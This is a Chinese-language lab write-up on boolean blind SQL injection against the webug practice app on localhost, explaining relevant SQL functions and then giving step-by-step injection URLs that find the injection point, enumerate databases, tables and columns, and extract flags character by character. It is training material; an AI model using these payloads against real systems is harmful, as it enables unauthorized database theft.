/*做这个到最后爆表的时候手工终于爆完了,然后发现爆错表了真是暴风哭泣*/
布尔注入是盲注之一,进行sql语句注入后,选择的数据并不能返回到前端。只能利用其他方法来判断,还是简单介绍下学到的知识点。
1. left(database(),n) database() 数据库名称 left()函数表示截取数据库左侧n个字符
2. substr(a,b,c) 从字符串a的b位置开始截取c个字符,当b为负数时截取位置是从字符串a右端向左数b个字符
3. mid(a,b,c) 从字符串a的b位置开始截取c个字符,c为非必需若省略返回剩余文本
4. ord()与ascii() 这两个函数都是将字符转化成ascii值
5. limit i,n第一个参数:从i开始查 ; 第二个参数:查n条
6. 有时不报错可能是因为前面语句没错误,使得union后面语句没执行
7. IFNULL(exp1,exp2) 如果exp1不为null,返回exp1否则返回exp2
8. cast(exp as data_type)as之前是待处理数据,后面是要转换的类型。有时还有要求eg:CAST('12.5' AS decimal(10,2)) 10代表所有数字位数限制为10 ,2表示小数点后两位 故结果为12.50 如果前面type换成int 则运行错误 。另精度和小数位数的默认值分别是18与0,decimal下 浮点数不说明的情况下会出来整数。
步入正题~看到网址加单引号
http://localhost/control/sqlinject/bool_injection.php?id=1'
发现页面变了,然后我们就根据页面的变化来判断我们执行的语句是否正确。
然后构造' or 1=1%23
http://localhost/control/sqlinject/bool_injection.php?id=1' or 1=1%23
发现页面又变正常了,注入点就在这了。接下来从1开始判断字段个数
http://localhost/control/sqlinject/bool_injection.php?id=1' order by 3%23
在3时页面发生了变化,得出字段个数为2。然后利用left()函数判断测试出当前数据库名字,可以先判断当前数据库名字长度(可有可无,不过这样心里有底)
http://localhost/control/sqlinject/bool_injection.php?id=1' and length(database())>4%23
就是这样一步一步测试看页面是否发生变化,测试出长度为5
http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),1)>'a' %23
调整字符和大于号小于号来判断数据库第一个字符是什么,机智的你想到了二分法能较快定位出第一个字符,结果是’w‘。
那第二个字符怎么判断出来呢?改一下数字?对 但后面得加一个测试字符
http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),2)>'wa' %23
最后得出当前数据库名字:webug 心思缜密的你说万一flag不在当前数据库呢,或者我想要其他的数据库的名字呢?别着急,先爆这个当前数据库里面的表
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))>98%23
这是在定位webug里第一个表第一个字符,那怎么判断第二个字符呢? 就是修改为substr(***,2,1)
机智的你那么也就想到了判断第二个表的方法 limit 1,1
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
到这里爆所有数据库名字的方法也就清晰了
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97%23
/**************************************************************************************
我毫不犹豫选择了爆flag这个表(大声哭泣)
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100%23
flag表里面有id flag 那flag里面一定有我想要的(信心满满)
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select flag from flag where id=1 limit 0,1),1,1))>99%23
我尝试修改 limit 1,1报错 id=2也报错
凭借着力大出迹爆出来:dfafdasfafdsadfa
好熟悉的内容这不就是第一关的flag吗?提交后显示错误,后来我看了数据库内容发现flag里就一条内容。。。
也就说真正的flag在其他表里
**************************************************************************************/
在爆env_list表时
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1,1))>97%23
env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
/**********************此时我猜测所有事件flag都在里面,可以简单测试下第一关的flag
http://localhost/control/sqlinject/bool_injection.php?id=1' and substr((select envFlag from env_list where id=1 limit 0,1),1,16)='dfafdasfafdsadfa'%23
然后页面没有变化,表示正确。果然所有flag都在这个表,那岂不是这可盲打出所有flag!!!等等第一关修改id就可以直接打出所有flag
http://localhost/control/sqlinject/manifest_error.php?id=-1' union select 1,envflag from env_list where id=1 %23
flag不重要,重要的是过程能学到很多。
*****************************/
判断测试第二关flag第一个字符
http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1,1))>98%23
最后得出flag:fdsafsdfa
下面一种方法与上类似,算是一个彩蛋
http://localhost/control/sqlinject/bool_injection.php?id=1' and ord(mid((select ifnull(cast(envFlag as char),2)from webug.env_list order by id limit 1,1),1,1))>97%23